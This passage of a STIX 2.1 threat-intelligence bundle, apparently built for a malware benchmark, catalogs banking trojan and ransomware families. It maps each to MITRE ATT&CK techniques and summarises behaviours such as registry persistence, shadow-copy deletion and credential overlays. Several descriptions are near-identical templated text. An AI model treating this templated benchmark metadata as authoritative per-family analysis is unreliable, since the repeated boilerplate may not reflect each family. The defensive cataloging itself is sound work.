      "description": "Bamsupr (classified in antivirus detection telemetry under designations including Ransom:Win32/Bamsupr, Ransom.Win32.Bamsupr, and Win32/Bamsupr) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bamsupr executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bamsupr",
        "Downloader.Bamsupr",
        "Win32/Bamsupr",
        "Ransom:Win32/Bamsupr",
        "Ransom.Win32.Bamsupr"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bamsupr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bamsupr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6898651-a4e9-51c2-a822-80d5686a06a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b78ccb8-fdac-53b9-9bd4-b5fbc0d018e0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bamsupr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1ba0cda-7349-580f-82ae-10bcd01063b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b78ccb8-fdac-53b9-9bd4-b5fbc0d018e0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bamsupr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4feca07-e527-5c9c-80ac-83f936e52ff7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b78ccb8-fdac-53b9-9bd4-b5fbc0d018e0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bamsupr exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7b35ab96-49f3-5df4-a9ac-b09d476bab9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Banbra",
      "description": "Banbra (cataloged across security vendors and threat intelligence databases under signatures including Trojan-Banker.Win32.Banbra, Trojan:Win32/Banbra, and Win32/Banbra) is a classic and widespread Brazilian banking trojan downloader family active since 2003. Closely aligned with the Bancos and Banker malware syndicates, Banbra is engineered to compromise Windows endpoints across Brazil and Latin America. The malware is distributed via Portuguese-language phishing emails purporting to be judicial subpoenas, tax notifications (Receita Federal), utility bills, or bank security notices containing malicious links or weaponized attachments. Upon infection, Banbra fingerprints the target host, disables Windows security prompts and antivirus services, and connects to remote C2 staging servers over HTTP to download specialized secondary banking overlay modules. When users access supported online banking services, Banbra injects deceptive credential collection forms and keyloggers to hijack account credentials, payment card numbers, and security tokens. (Observed samples in benchmark: 53)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker.Win32.Banbra",
        "Trojan:Win32/Banbra",
        "Win32/Banbra",
        "Banbra Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Banbra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/banbra"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c8c3bd9-806c-5474-9862-e5b2d778cc4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b35ab96-49f3-5df4-a9ac-b09d476bab9d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banbra exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1a27a79-4962-5b8c-89fe-39678d9be850",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b35ab96-49f3-5df4-a9ac-b09d476bab9d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banbra exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1647b0c2-2a96-5b83-86c3-bc2bf9d4091d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b35ab96-49f3-5df4-a9ac-b09d476bab9d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banbra exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--236ba6de-5312-5c9e-8940-6dc588a3582a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b35ab96-49f3-5df4-a9ac-b09d476bab9d",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banbra exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1048: Exfiltration Over Alternative Protocol",
      "description": "MITRE ATT&CK Technique T1048 (Exfiltration Over Alternative Protocol) under tactic Exfiltration.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1048",
          "url": "https://attack.mitre.org/techniques/T1048/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b018723-d7bf-560e-9079-ecc25cc96b0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7b35ab96-49f3-5df4-a9ac-b09d476bab9d",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Banbra exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--432d33a5-860c-589c-bc97-704472d43f37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bancobras",
      "description": "Bancobras (classified in antivirus detection telemetry under designations including Trojan:Win32/Bancobras, Trojan.Win32.Bancobras, and Win32/Bancobras) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bancobras executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker.Bancobras",
        "Banker.Braz",
        "Win32/Bancobras",
        "Trojan:Win32/Bancobras",
        "Trojan.Win32.Bancobras"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bancobras",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bancobras"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2b888dec-c560-55a4-a7dc-957dfc738357",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--432d33a5-860c-589c-bc97-704472d43f37",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancobras exhibits technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1125f56a-6cba-5415-a790-aa46d0aa6b55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--432d33a5-860c-589c-bc97-704472d43f37",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancobras exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9260d67a-24b9-52ab-a00a-d2426013acd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--432d33a5-860c-589c-bc97-704472d43f37",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancobras exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7579813-1d5e-5538-b2a5-05006ab28360",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--432d33a5-860c-589c-bc97-704472d43f37",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancobras exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f0b39240-ea42-550d-8a09-c4c7711e08af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bancos",
      "description": "Bancos (cataloged across security vendors and threat intelligence databases under signatures including Trojan-Banker.Win32.Bancos, Trojan:Win32/Bancos, and Win32/Bancos) is an enduring and pervasive family of Brazilian banking trojans active since 2003. Specifically targeting customers of Brazilian, Latin American, and Portuguese financial institutions, Bancos is distributed primarily through targeted phishing emails with malicious links, weaponized documents, and fake banking security certificate downloads. Upon execution, Bancos hooks Windows APIs and web browser processes, continuously monitoring open browser window titles for strings associated with major banking portals (including Banco do Brasil, Bradesco, Ita\u00fa, Santander, and Caixa Econ\u00f4mica Federal). When a victim navigates to a targeted bank, Bancos overlays deceptive, pixel-perfect fake authentication windows or keypad capture forms designed to harvest account numbers, electronic passwords, and multi-factor transaction authentication numbers (TANs). The stolen credentials are immediately exfiltrated to remote C2 drop sites via HTTP or SMTP. Bancos also actively modifies the Windows hosts file and installs fake digital certificates to conduct man-in-the-browser attacks while disabling local security tools like Warsaw and Trusteer Rapport. (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker.Win32.Bancos",
        "Trojan:Win32/Bancos",
        "Win32/Bancos",
        "Bancos Banker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bancos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bancos"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a35d2a4-199c-559e-b330-8fb352a0ecc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b39240-ea42-550d-8a09-c4c7711e08af",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancos exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--593c304e-d6eb-541f-a47c-8560791440aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b39240-ea42-550d-8a09-c4c7711e08af",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancos exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c54e5bad-9c7a-5924-b5e9-8a963b8fb7cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b39240-ea42-550d-8a09-c4c7711e08af",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancos exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64f688d8-77ea-5c02-9a48-053fe750a822",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b39240-ea42-550d-8a09-c4c7711e08af",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancos exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a76c7ab-180f-5db5-a628-3d257def8b11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f0b39240-ea42-550d-8a09-c4c7711e08af",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancos exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5629c20d-cd9f-5c7e-8a54-53776919864e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bancteian",
      "description": "Bancteian (cataloged across security vendors under signatures including Trojan:Win32/Bancteian, TrojanDownloader:Win32/Bancteian, and Trojan.Bancteian) is a specialized Windows trojan downloader and staging agent active since 2015. Closely associated with the Latin American Banload banking malware ecosystem, Bancteian is deployed as a stealth initial stager designed to compromise host systems and download complex secondary banking trojans (such as members of the Banker and Guildma families). Delivered primarily via spearphishing emails disguised as judicial notifications, unpaid utility invoices, or electronic tax documents, Bancteian arrives inside password-protected ZIP archives containing deceptive LNK files, VBScripts, or weaponized PDF documents. Upon execution, Bancteian deploys anti-sandbox sleep routines, interrogates host language settings and keyboard layouts to confirm geographical targets (frequently Brazil and other South American regions), and connects to remote C2 servers to fetch, decrypt, and execute secondary banking overlay trojans designed to steal online banking credentials. (Observed samples in benchmark: 91)",
      "is_family": true,
      "malware_types": [
        "downloader"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bancteian",
        "TrojanDownloader:Win32/Bancteian",
        "Win32/Bancteian",
        "Trojan.Bancteian"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bancteian",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bancteian"
        }
      ],
      "labels": [
        "downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bc4761e-8db0-5413-935f-ff8aa21f3539",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5629c20d-cd9f-5c7e-8a54-53776919864e",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancteian exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1056.004: Input Capture: Credential API Hooking",
      "description": "MITRE ATT&CK Technique T1056.004 (Input Capture: Credential API Hooking) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1056.004",
          "url": "https://attack.mitre.org/techniques/T1056/004/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--754c07e3-c105-53fb-997e-facae1f9077f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5629c20d-cd9f-5c7e-8a54-53776919864e",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancteian exhibits technique T1056.004 (Input Capture: Credential API Hooking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ac5ed48-032c-5e46-be59-6fca359df082",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5629c20d-cd9f-5c7e-8a54-53776919864e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancteian exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddf4b69d-7898-57d4-9f7c-1fe43d853fd4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5629c20d-cd9f-5c7e-8a54-53776919864e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancteian exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3cea5863-ee5e-5a28-855f-c5dda06ae573",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1110: Brute Force",
      "description": "MITRE ATT&CK Technique T1110 (Brute Force) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1110",
          "url": "https://attack.mitre.org/techniques/T1110/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd69183a-9b6d-552c-9b63-3d37de22736d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5629c20d-cd9f-5c7e-8a54-53776919864e",
      "target_ref": "attack-pattern--3cea5863-ee5e-5a28-855f-c5dda06ae573",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bancteian exhibits technique T1110 (Brute Force)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--372a772b-0b22-5001-b953-3e9eac9e9952",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bandios",
      "description": "Bandios (classified in antivirus detection telemetry under designations including Ransom:Win32/Bandios, Ransom.Win32.Bandios, and Win32/Bandios) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bandios executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bandios",
        "Ransom.Win32.Bandios",
        "Win32/Bandios"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bandios",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bandios"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54df15f9-4921-5cb5-8cbf-f7ba8169fe3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372a772b-0b22-5001-b953-3e9eac9e9952",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandios exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03fb7f88-48a1-5902-a01c-3dd66774b65b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372a772b-0b22-5001-b953-3e9eac9e9952",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandios exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fd4e10d-c49f-5fec-a31d-18ded1468bd8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372a772b-0b22-5001-b953-3e9eac9e9952",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandios exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02d76ae0-a6e0-505b-8c24-999905a53eb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372a772b-0b22-5001-b953-3e9eac9e9952",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandios exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c634fe25-4969-53a7-ac81-4c184f825ce7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372a772b-0b22-5001-b953-3e9eac9e9952",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandios exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--69ef4f51-e4f6-5132-9ce0-a6dc9e62682d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bandit",
      "description": "Bandit (classified in antivirus detection telemetry under designations including Ransom:Win32/Bandit, Ransom.Win32.Bandit, and Win32/Bandit) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bandit executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bandit",
        "Ransom.Win32.Bandit",
        "Win32/Bandit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bandit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bandit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84300c13-8378-5afe-95fc-fe0b7e81f747",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69ef4f51-e4f6-5132-9ce0-a6dc9e62682d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandit exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14a9e404-56a1-5f0a-a798-b7ca9197e871",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69ef4f51-e4f6-5132-9ce0-a6dc9e62682d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bandit exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c67d49ba-bdf7-599a-8d32-6cfc2e000dc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
